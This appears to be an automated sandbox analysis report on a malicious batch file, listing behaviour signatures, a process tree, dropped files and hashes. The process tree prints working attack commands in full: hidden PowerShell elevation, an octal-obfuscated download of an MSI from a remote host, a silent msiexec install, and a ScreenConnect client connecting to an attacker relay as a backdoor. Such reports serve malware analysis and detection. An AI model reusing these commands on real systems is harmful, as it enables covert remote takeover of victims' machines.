Analysis

  • max time kernel
    149s
  • max time network
    134s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260618-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260618-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    26/06/2026, 17:30

General

  • Target
    FileDOC0626-14.bat
  • Size 942B
  • Sample260626-v3e2fsc181
  • SHA256 246ec497890d94776ccf6bfb14bd5a3568cde115b72926527841255fa0a44aa7
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Powershell Invoke Web Request.

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 2 IoCs
  • Drops file in Program Files directory 16 IoCs
  • Drops file in Windows directory 27 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 12 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 5 IoCs
  • Suspicious use of SendNotifyMessage 5 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\FileDOC0626-14.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:5828
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command "& { Start-Process cmd -ArgumentList '/c','\"C:\Users\Admin\AppData\Local\Temp\FileDOC0626-14.bat\" HIDDEN' -Verb RunAs -WindowStyle Hidden }"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:6316
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\FileDOC0626-14.bat" HIDDEN
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:5152
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command "try { $s='150164164160163072057057145141055142156151164153155147056163063056165163055145141163164055062056141155141172157156141167163056143157155057123143162145145156103157156156145143164056103154151145156164123145164165160056155163151'; $bytes=@(); for($i=0;$i -lt $s.Length;$i+=3){ $bytes+=[byte]([Convert]::ToInt32($s.Substring($i,3),8)) }; $u=[System.Text.Encoding]::ASCII.GetString($bytes); $ProgressPreference='SilentlyContinue'; Invoke-WebRequest -Uri $u -OutFile 'C:\Users\Admin\AppData\Local\Temp\~temp.msi' -UseBasicParsing } catch {}"
          4⤵
          • Badlisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:860
        • C:\Windows\system32\msiexec.exe
          msiexec /i "C:\Users\Admin\AppData\Local\Temp\~temp.msi" /quiet /qn /norestart
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of SetWindowsHookEx
          PID:2732
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Badlisted process makes network request
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4656
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 1919905E1CAB6B90AA00872A67C6FA3A
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:5840
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Windows\Installer\MSI163D.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240719593 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:3476
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding C31F9C66BFBD32DA1344D919D3353FD6 E Global\MSI0000
      2⤵
      • Loads dropped DLL
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      PID:3436
  • C:\Program Files (x86)\ScreenConnect Client (d3f3f12ce6b98fa1)\ScreenConnect.ClientService.exe
    "C:\Program Files (x86)\ScreenConnect Client (d3f3f12ce6b98fa1)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=instance-rwztao-relay.screenconnect.com&p=443&s=8bc41683-ec73-4b12-b815-e8de40111ad1&k=BgIAAACkAABSU0ExAAgAAAEAAQA5di56cbAgHLHWtuNftWInIiaKwvCmDnM8TQLO%2fhSnPgYGh50Cq1h3YbSw6beC4Ct2eTgi1Dh6cXQ1GPOsQ6M%2bpP6iIWONsv1m3ZN386fBGKqojJBYE%2bmIilLgfIbvIvmOp0LSNqWZtJB9m5Wl4GBr5eXck2ZuQ4orYD%2bn6GjVuB2CJCFOiyB6FjzhXlVZNPwYFb8GMrLyrdW6iyx2vAT8L2Ni8wcJVhASAT9e0aZzE4yYikrtOg85QcRn3qEr85%2bn1g%2fsQNFB%2beICSCnCcMjc8K1lXkx6tFq0gtAlXWhOioLOIVil8%2fihIw3zQnK4MqQq6ZetS0Sf3XtCbD7KUXPe&c=BAT&c=&c=&c=&c=&c=&c=&c="
    1⤵
    • Sets service image path in registry
    • Executes dropped EXE
    • Loads dropped DLL
    • Drops file in System32 directory
    • System Location Discovery: System Language Discovery
    • Modifies data under HKEY_USERS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:3868
    • C:\Program Files (x86)\ScreenConnect Client (d3f3f12ce6b98fa1)\ScreenConnect.WindowsClient.exe
      "C:\Program Files (x86)\ScreenConnect Client (d3f3f12ce6b98fa1)\ScreenConnect.WindowsClient.exe" "RunRole" "bf149457-7717-450e-9fd6-e938acff8b50" "User"
      2⤵
      • Executes dropped EXE
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      PID:1228
    • C:\Program Files (x86)\ScreenConnect Client (d3f3f12ce6b98fa1)\ScreenConnect.WindowsClient.exe
      "C:\Program Files (x86)\ScreenConnect Client (d3f3f12ce6b98fa1)\ScreenConnect.WindowsClient.exe" "RunRole" "4228358c-f5a3-44cb-b55e-2e477a38e045" "System"
      2⤵
      • Executes dropped EXE
      • Checks processor information in registry
      • Modifies data under HKEY_USERS
      PID:6860

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        e5913df.rbs

        • Path C:\Config.Msi\e5913df.rbs
        • Size 214KB
        • SHA256 0c976af9055ef259321bfc6cdd6a4839e9c8f9541c6793a2cd032b0232e624dd
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Client.en-US.resources

        • Path C:\Program Files (x86)\ScreenConnect Client (d3f3f12ce6b98fa1)\Client.en-US.resources
        • Size 64KB
        • SHA256 efdb0b4fcc38b52cbf72336bd107a814db8454003f3495de21e2026a148823ea
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Client.resources

        • Path C:\Program Files (x86)\ScreenConnect Client (d3f3f12ce6b98fa1)\Client.resources
        • Size 6KB
        • SHA256 bd34378ad99f7609fa0c7c8edde6337c738a61d288863015629329806a1cc728
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Client.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (d3f3f12ce6b98fa1)\ScreenConnect.Client.dll
        • Size 411KB
        • SHA256 28ff8468ad2db8b41fe9d9a2971dd56fea0aecad14808fe4b31c9b1072d3b129
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.ClientService.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (d3f3f12ce6b98fa1)\ScreenConnect.ClientService.dll
        • Size 90KB
        • SHA256 9cf2c77df0a1a1e854ec1bbc6940d96f508bfb4b0555a07657c77314803a717e
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.ClientService.exe

        • Path C:\Program Files (x86)\ScreenConnect Client (d3f3f12ce6b98fa1)\ScreenConnect.ClientService.exe
        • Size 93KB
        • SHA256 01341bd42426c3d110136cc94433df00dbad690a56593f7cca41a93f698f214a
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Core.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (d3f3f12ce6b98fa1)\ScreenConnect.Core.dll
        • Size 572KB
        • SHA256 92e831159d5e9f2676241ab7ce80060a0b1dc34684f83797aec93b3ecff41139
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Windows.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (d3f3f12ce6b98fa1)\ScreenConnect.Windows.dll
        • Size 1.7MB
        • SHA256 2292aac48ad575c6d1ed99c862e3408e254db34b8fea50cf3594aa08f3e875d0
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsAuthenticationPackage.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (d3f3f12ce6b98fa1)\ScreenConnect.WindowsAuthenticationPackage.dll
        • Size 254KB
        • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsClient.exe

        • Path C:\Program Files (x86)\ScreenConnect Client (d3f3f12ce6b98fa1)\ScreenConnect.WindowsClient.exe
        • Size 665KB
        • SHA256 6e95d68102dc761942e67e2337ad8e49d32ee7c8943340489a01e2c56ea6e00b
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsClient.exe.config

        • Path C:\Program Files (x86)\ScreenConnect Client (d3f3f12ce6b98fa1)\ScreenConnect.WindowsClient.exe.config
        • Size 266B
        • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
        • MD5 SHA1 SHA512 TLSH

        ScreenConnect.WindowsCredentialProvider.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (d3f3f12ce6b98fa1)\ScreenConnect.WindowsCredentialProvider.dll
        • Size 838KB
        • SHA256 3fa1fe4a588015cc94eceb06867f16a5e562293139fbf6b36bde21dba478968d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        system.config

        • Path C:\Program Files (x86)\ScreenConnect Client (d3f3f12ce6b98fa1)\system.config
        • Size 960B
        • SHA256 5c8bad31fedd6b97f7aa1302e6d20a37dea07b8a94b41f38d7e127649e3f5236
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 bcf8325db72c06bb7f6a8df3c4648a150d766a1857214c6b533c467029424ce8
        • MD5 SHA1 SHA512 TLSH

        __PSScriptPolicyTest_jbwif3hq.vcl.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jbwif3hq.vcl.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        ~temp.msi

        • Path C:\Users\Admin\AppData\Local\Temp\~temp.msi
        • Size 9.7MB
        • SHA256 8369bca0547312a9ba1fe95848db1387a1191c8d91e91cee137c94d9ae888644
        • MD5 SHA1 SHA512 SSDEEP TLSH

        MSI163D.tmp

        • Path C:\Windows\Installer\MSI163D.tmp
        • Size 1.1MB
        • SHA256 cd6bccce073b2a5205840ec31c91df0d443cc57c68756de2c03e21db8e3fc157
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Microsoft.Deployment.WindowsInstaller.dll

        • Path C:\Windows\Installer\MSI163D.tmp-\Microsoft.Deployment.WindowsInstaller.dll
        • Size 172KB
        • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Core.dll

        • Path C:\Windows\Installer\MSI163D.tmp-\ScreenConnect.Core.dll
        • Size 562KB
        • SHA256 c51a2b5cb5054ec0136e332bf290c8af3392d7936b5137a07423df08ab33d264
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.InstallerActions.dll

        • Path C:\Windows\Installer\MSI163D.tmp-\ScreenConnect.InstallerActions.dll
        • Size 24KB
        • SHA256 432abf3a198ff64fb2c660eb06b2bb33a16cf69fd28d836cfcb65c43d37dc462
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Windows.dll

        • Path C:\Windows\Installer\MSI163D.tmp-\ScreenConnect.Windows.dll
        • Size 1.7MB
        • SHA256 10933424536d53e397f651915f862c933199c50722943c236b020787b2e8f147
        • MD5 SHA1 SHA512 SSDEEP TLSH

        MSI1A47.tmp

        • Path C:\Windows\Installer\MSI1A47.tmp
        • Size 202KB
        • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/860-31-0x00007FF832180000-0x00007FF832B24000-memory.dmp

        memory/860-24-0x00007FF832180000-0x00007FF832B24000-memory.dmp

        memory/860-156-0x00007FF832180000-0x00007FF832B24000-memory.dmp

        memory/860-23-0x00007FF832180000-0x00007FF832B24000-memory.dmp

        memory/860-28-0x00007FF832180000-0x00007FF832B24000-memory.dmp

        memory/860-25-0x00007FF832180000-0x00007FF832B24000-memory.dmp

        memory/1228-153-0x00000000011A0000-0x00000000011BA000-memory.dmp

        memory/1228-154-0x00000000029E0000-0x0000000002A21000-memory.dmp

        memory/1228-152-0x0000000001160000-0x000000000117A000-memory.dmp

        memory/1228-151-0x000000001BE30000-0x000000001BFB8000-memory.dmp

        memory/1228-150-0x000000001BAF0000-0x000000001BCA0000-memory.dmp

        memory/1228-149-0x000000001B8A0000-0x000000001B934000-memory.dmp

        memory/1228-147-0x0000000000750000-0x00000000007FA000-memory.dmp

        memory/1228-148-0x0000000002970000-0x00000000029DA000-memory.dmp

        memory/3476-71-0x0000000006B60000-0x000000000711A000-memory.dmp

        memory/3476-70-0x00000000063F0000-0x00000000065A0000-memory.dmp

        memory/3476-66-0x00000000061A0000-0x0000000006234000-memory.dmp

        memory/3476-62-0x00000000060C0000-0x00000000060CC000-memory.dmp

        memory/3476-58-0x0000000006080000-0x00000000060AE000-memory.dmp

        memory/3868-117-0x0000000004970000-0x0000000004B20000-memory.dmp

        memory/3868-139-0x0000000004D80000-0x0000000004E55000-memory.dmp

        memory/3868-135-0x0000000004B90000-0x0000000004C22000-memory.dmp

        memory/3868-107-0x00000000021F0000-0x000000000220A000-memory.dmp

        memory/3868-113-0x0000000004720000-0x00000000047B4000-memory.dmp

        memory/3868-119-0x0000000004850000-0x00000000048A0000-memory.dmp

        memory/3868-123-0x0000000004B20000-0x0000000004B8A000-memory.dmp

        memory/3868-137-0x00000000048A0000-0x00000000048E1000-memory.dmp

        memory/4656-157-0x000001B3CCA60000-0x000001B3CD404000-memory.dmp

        memory/6316-11-0x00007FF832180000-0x00007FF832B24000-memory.dmp

        memory/6316-10-0x00007FF832180000-0x00007FF832B24000-memory.dmp

        memory/6316-12-0x00007FF832180000-0x00007FF832B24000-memory.dmp

        memory/6316-7-0x00000250781C0000-0x00000250781E2000-memory.dmp

        memory/6316-15-0x00007FF832180000-0x00007FF832B24000-memory.dmp

        memory/6316-8-0x00007FF832180000-0x00007FF832B24000-memory.dmp

        memory/6316-14-0x00007FF832180000-0x00007FF832B24000-memory.dmp

        memory/6316-9-0x00007FF832180000-0x00007FF832B24000-memory.dmp

        memory/6316-0-0x00007FF83230F000-0x00007FF832310000-memory.dmp